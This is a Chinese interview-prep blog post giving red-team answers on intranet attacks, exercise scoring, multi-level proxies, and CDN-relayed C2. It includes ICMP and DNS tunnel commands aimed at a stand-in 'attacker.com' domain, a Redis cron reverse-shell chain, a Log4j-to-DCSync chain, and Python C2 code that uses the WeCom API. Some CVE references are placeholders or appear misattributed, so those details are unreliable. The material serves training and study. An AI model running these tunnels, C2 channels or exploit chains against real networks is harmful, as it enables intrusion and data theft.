2025年渗透测试面试题总结-某深信服-深蓝攻防实验室(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

深信服-深蓝攻防实验室

一、内网攻击核心思路(2025版)

1. 攻击阶段分层

2. 最新技术要点

二、国护刷分策略与通用性靶标挖掘

1. 刷分核心逻辑

2. 得分最大化策略

三、数据库与云主机刷分规则解析

1. 评分标准(模拟国护赛制)

2. 刷分实操案例

四、内网多级代理技术选型与实现

1. 代理工具链对比

2. TCP/UDP不出网场景下的代理方案

五、多级代理结合CDN中转的实现

1. CDN中转架构设计

2. 流量混淆技术

六、内网ACL白名单绕过策略

1. 绕过技术分类

2. 实现案例:基于企业微信的C2通信

深信服-深蓝攻防实验室

内网攻击思路
国护刷分策略,如何寻找通用性靶标思路
数据库 主机云center 刷满是多少分(看你打的多不多 对分的规则熟悉不)
内网的多级代理用什么东西代理
如果tcp和udp不出网,用什么策略来进行代理的搭建
多级代理如何做一个cdn进行中转,具体怎么实现
内网acl策略 如果是白名单,如果绕过这个白名单进行出网上线 ip和域名的都有可能

一、内网攻击核心思路(2025版)

1. 攻击阶段分层
阶段核心目标关键技术
初始突破获取第一台内网主机权限钓鱼(LNK+ISO镜像)、Web漏洞(Fastjson/Log4j)、云服务元数据泄露
信息收集绘制内网拓扑与资产清单自动化扫描(CrackMapExec)、流量嗅探(Responder)、云资产API爬取(AWS CLI)
横向扩展突破域/云环境隔离NTLM Relay(ADCS漏洞)、Kubernetes RBAC滥用、云凭据横向移动(Pacu工具链)
权限维持绕过晶核模式/EDR检测WMI事件订阅、内存马(Tomcat Filter型)、无文件注册表键(COM劫持)
数据外泄隐蔽传输敏感数据DNS隧道(dnschef)、HTTPS加密分段传输、云存储桶直传(AWS S3预签名URL)
2. 最新技术要点
  • 云原生攻击:利用Kubernetes的kubelet未授权访问(10250端口)部署恶意Pod,逃逸至宿主机。
  • 零信任绕过:伪造合法设备指纹(MAC地址+BIOS UUID),通过持续心跳包维持“可信”状态。
  • AI对抗:使用GAN生成对抗性流量(如HTTP请求头扰动),绕过基于机器学习的WAF检测。

二、国护刷分策略与通用性靶标挖掘

1. 刷分核心逻辑
  • 目标价值分级

    目标类型基础分加成系数示例场景
    核心数据库(Oracle)50分×2.0获取金融交易记录或用户隐私数据
    域控服务器100分×1.5利用Zerologon漏洞重置域控机器账号
    云控制台(vCenter)80分×1.2通过CVE-2024-XXXX漏洞获取管理员权限
    边缘设备(摄像头)20分×0.5弱口令爆破(admin/12345)
  • 通用性靶标挖掘

    • 高频漏洞利用
      • Web类:Fastjson 1.2.83以下版本(AutoType绕过)、Spring Cloud Gateway RCE(CVE-2024-21410)。
      • 协议类:SMBv1协议漏洞(永恒之蓝变种)、Redis未授权访问(主从复制加载恶意模块)。
    • 被动情报收集
      • 使用Shodan搜索暴露的Jenkins(端口8080)、Confluence(端口8090)服务,爆破默认凭据。
      • 分析GitHub代码仓库,提取硬编码的API密钥或数据库连接字符串。
2. 得分最大化策略
  • 漏洞组合利用
    text1. 通过Log4j漏洞(CVE-2021-44228)注入JNDI载荷 → 触发反向Shell 2. 利用Shell上传Mimikatz提取本地凭证 → 横向移动到域控 3. 通过DCSync导出域哈希 → 破解高权限账号 
  • 供应链攻击
    • 入侵第三方协作平台(如Jira、Slack),植入恶意插件或文档模板。
    • 利用npm/pypi包依赖劫持(Typosquatting攻击),在CI/CD流程中注入后门。

三、数据库与云主机刷分规则解析

1. 评分标准(模拟国护赛制)
  • 数据库类

    动作得分限制条件
    未授权访问(Redis)30分需导出至少10条敏感数据(如用户Session)
    SQL注入(Oracle)50分需获取DBA权限并导出表结构
    数据篡改(MySQL)40分需修改至少3个表字段并留存日志证据
  • 云主机类

    动作得分限制条件
    元数据泄露(AWS)40分需获取IAM角色临时凭据并列出S3桶
    容器逃逸(Docker)60分需逃逸至宿主机并提取root权限证明
    控制台接管(阿里云)80分需通过RAM漏洞创建高权限子账号
2. 刷分实操案例
  • Redis未授权访问刷分链
    1. 利用主从复制漏洞加载恶意.so模块 → 执行系统命令(20分)。
    2. 通过CONFIG SET dir /var/spool/cron写入计划任务 → 反弹Shell(30分)。
    3. 导出RDB文件解析用户会话Token → 提交证据(10分)。

四、内网多级代理技术选型与实现

1. 代理工具链对比
工具协议支持适用场景抗检测能力
reGeorgHTTP/HTTPSWeb服务器(PHP/ASPX/JSP)中等(依赖Web服务正常性)
ChiselTCP/UDP加密隧道穿透防火墙高(TLS加密+流量混淆)
iodineDNS严格网络隔离环境极高(伪装为合法DNS查询)
ptunnel-ngICMP仅允许Ping出网中等(依赖ICMP速率限制)
2. TCP/UDP不出网场景下的代理方案
  • ICMP隧道
    1. 攻击机启动服务端:ptunnel-ng -i eth0 -r 192.168.1.1
    2. 目标机连接:ptunnel-ng -p 192.168.1.1 -l 1080 -da 10.10.10.10 -dp 22(将本地1080端口流量通过ICMP隧道转发至10.10.10.10:22)。
      优势:绕过传统防火墙对TCP/UDP端口的监控。
  • DNS隧道
    1. 配置域名(如tunnel.attacker.com )NS记录指向攻击机IP。
    2. 目标机运行客户端:iodine -f -P password 隧道域名,建立加密通道。
      绕过ACL策略:利用合法DNS服务商(如Cloudflare)中转流量,避免IP封禁。

五、多级代理结合CDN中转的实现

1. CDN中转架构设计
plaintext[目标内网] → [反向代理1(Nginx)] → [CDN节点(Cloudflare)] → [攻击机(C2服务器)] 
  • 实现步骤
    1. 域名配置:将C2域名接入CDN(如Cloudflare),开启SSL强制加密。
    2. 反向代理设置:在Nginx中配置location /proxy路径,将请求转发至内网代理工具端口。
    3. 证书规避:使用Let's Encrypt泛域名证书,避免CDN的证书指纹检测。
2. 流量混淆技术
  • HTTP/2多路复用:将代理流量封装为HTTP/2流,头部压缩降低特征暴露。
  • 内容伪装
    • 使用gzip压缩Payload,伪装为JSON/图片资源。
    • 在响应中插入随机Cookie和垃圾数据,干扰WAF正则匹配。

六、内网ACL白名单绕过策略

1. 绕过技术分类
类型方法原理
协议滥用DNS隧道+DoH/DoT通过加密DNS协议(如Cloudflare DoH)传输数据
云服务利用阿里云OSS预签名URL将数据封装为OSS文件上传/下载请求
可信服务劫持微信/钉钉Webhook API利用企业白名单中的第三方服务回调传输数据
2. 实现案例:基于企业微信的C2通信
  1. 注册企业微信应用:创建自建应用,获取CorpIDSecret
  2. API通信加密
    python# 发送指令 requests.post("https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=xxx", json={"touser": "@all", "msgtype": "text", "text": {"content": base64.b64encode(cmd)}}) # 接收结果 resp = requests.get("https://qyapi.weixin.qq.com/cgi-bin/media/get?access_token=xxx&media_id=yyy") result = base64.b64decode(resp.content) 
  3. 防御对抗:动态更换media_id并模拟正常用户行为(如发送图片/文件)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/73177.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA学习*Object类

Object类 Object类是所有类的父类 类中有一些方法(都需要掌握) toString()方法 在学习类的对象的时候有介绍过了,当我们重新给此方法就会打印类与对象的信息 equals()方法 在Java中的比较, 如果左右两侧是基本类型变量&#…

《Operating System Concepts》阅读笔记:p471-p472

《Operating System Concepts》学习第 37 天,p471-p472 总结,总计 2 页。 一、技术总结 1.NAS (1)定义 network-attached storage (NAS):Storage accessed from a computer over a network. 虽然平时经常看到 NAS 这个名称,之…

gonet开源游戏服务器环境配置

1.mysql搭建 搜索mysql-server apt安装包名 sudo apt search mysql-server 安装mysql-server sudo apt-get install mysql-server 安装完成后会,启动mysql服务及创建系统服务 查看服务状态 systemctl status mysql.service 使用超级权限登陆mysql sudo mysql 授…

HarmonyOS NEXT(九) :图形渲染体系

HarmonyOS NEXT(九) :图形渲染体系 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,可以分享一下给大家。点击跳转到网站。 https://www.captainbed.cn/ccc 文章目录 HarmonyOS NEXT&#xff0…

网络安全威胁与防护措施(上)

1. SQL注入(SQL Injection) SQL注入是一种常见的安全漏洞,攻击者通过在用户输入中插入恶意的SQL代码,从而篡改、操控数据库,执行未授权的数据库操作,如查询、修改、删除数据,甚至获取系统控制权…

3.22模拟面试

前端模拟面试(1 年经验) 面试时长:40-60 分钟 面试难度:初中级 技术栈:Vue 3、TypeScript、微前端(qiankun)、Webpack/Rspack、Ant Design、组件库迁移 一、基础知识 HTML & CSS 介绍一下…

kotlin 函数引用

引言 先确认一下,什么叫做引用 Object obj new Object() //这里的obj就是一个强引用 再确认一个结论: lambda 属于函数类型对象 。 fun methodResponseResult(msg: String , respo:(Int, String)->Unit){}fun methodRespoResunt(type: Int ,msg: S…

微前端qiankun框架的使用

文章描述 随着工作时间的增加,发现公司的项目逐渐多了起来,有一个项目比较庞大,是需要集成多个子系统而形成的大项目。其中便是使用微前端的概念qiankun框架来集成其他多个子项目的。接下来,一起来看一下qiankun框架的具体使用方…

基于CVX优化器的储能电池调峰调频算法matlab仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 4.1 原理概述 4.2 CVX工具箱概述 5.完整工程文件 1.课题概述 基于CVX优化器的储能电池调峰调频算法matlab仿真。CVX 是一种用于求解凸优化问题的强大工具。凸优化问题具有良好的数学性质,能…

回归——数学公式推导全过程

文章目录 一、案例引入 二、如何求出正确参数 1. 最速下降法 1)多项式回归 2)多重回归 2. 随机梯度下降法 一、案例引入 以Web广告和点击量的关系为例来学习回归,假设投入的广告费和点击量呈现下图对应关系。 思考:如果花了…

微服务中的服务发现

微服务中的服务发现 什么是服务发现 服务发现是微服务架构中的关键机制,用于确定各个微服务的地址。例如,在一个 API Server 服务中,我们可能需要调用 User 服务来处理用户注册、登录和信息查询,也可能需要 Product 服务来获取商…

C#与西门子PLC的六大通信库

C#与西门子PLC的六大通信库: 一、S7.NET S7.NET是一款开源的S7协议通信库,支持西门子S7通信。 二、Sharp7 Sharp7与S7.NET一样,是一款.NET版本的S7通信库。 三、Snap7 Snap7是一个开源的C通信库,支持西门子S7通信。 四、Prodave P…

IOS接入微信方法

导入SDK 和配置 SDK 的不做介绍; 1 在IOS 开发者中心 Identifiers 打开‘Associated Domains’ 2 建立一个文件(不带后缀的)apple-app-site-association, teamid在 IOS 开发者中心的会员找,appid在 xcode里面找 {"applin…

DHCPv6 Stateless Vs Stateful Vs Stateless Stateful

DHCPv6常见配置模式 在 IPv6 网络中,DHCPv6 的 Stateless(无状态)、Stateful(有状态) 和 Stateless + Stateful(混合模式) 是三种常见的配置模式。它们的主要区别在于客户端如何获取 IPv6 地址和其他网络配置信息(如 DNS 服务器)。 Stateless(无状态)模式 Statele…

HTTPS协议—加密算法和中间攻击人的博弈

活动发起人小虚竹 想对你说: 这是一个以写作博客为目的的创作活动,旨在鼓励大学生博主们挖掘自己的创作潜能,展现自己的写作才华。如果你是一位热爱写作的、想要展现自己创作才华的小伙伴,那么,快来参加吧&#xff01…

Java替换jar包中class文件

在更新java应用版本的运维工作中,由于一些原因,开发没办法给到完整的jar包,这个时候,就可以只将修改后的某个Java类的class文件替换掉原来iar包中的class文件,重新启动服务即可: 1、将jar包和将要替换的cl…

【UI设计】一些好用的免费图标素材网站

阿里巴巴矢量图标库https://www.iconfont.cn/国内最大的矢量图标库之一,拥有 800 万 图标资源。特色功能包括团队协作、多端适配、定制化编辑等,适合企业级项目、电商设计、中文产品开发等场景。IconParkhttps://iconpark.oceanengine.com/home字节跳动…

【10】高效存储MongoDB的用法

目录 一、什么是MongoDB 二、准备工作 (1)安装MongoDB ​(2)安装pymongo库 三、连接MongoDB 四、指定数据库 五、指定集合 六、插入数据 (1) insert 方法 (2)insert_one(…

MATLAB+Arduino利用板上的按键控制板上Led灯

几年不使用,之前的知识都忘掉了。需要逐步捡起来。 1 熟悉按键的使用 2熟悉灯的控制 1 电路 我们将通过 MATLAB 的 Arduino 支持包与 Arduino 板通信,读取按键状态并控制 LED 灯的亮灭。 按键:连接到 Arduino 的数字引脚(例如…

《深度学习》——YOLOv3详解

文章目录 YOLOv3简介YOLOv3核心原理YOLOv3改进YOLOv3网络结构 YOLOv3简介 YOLOv3(You Only Look Once, version 3)是一种先进的实时目标检测算法,由 Joseph Redmon 和 Ali Farhadi 开发。它在目标检测领域表现出色,具有速度快、精…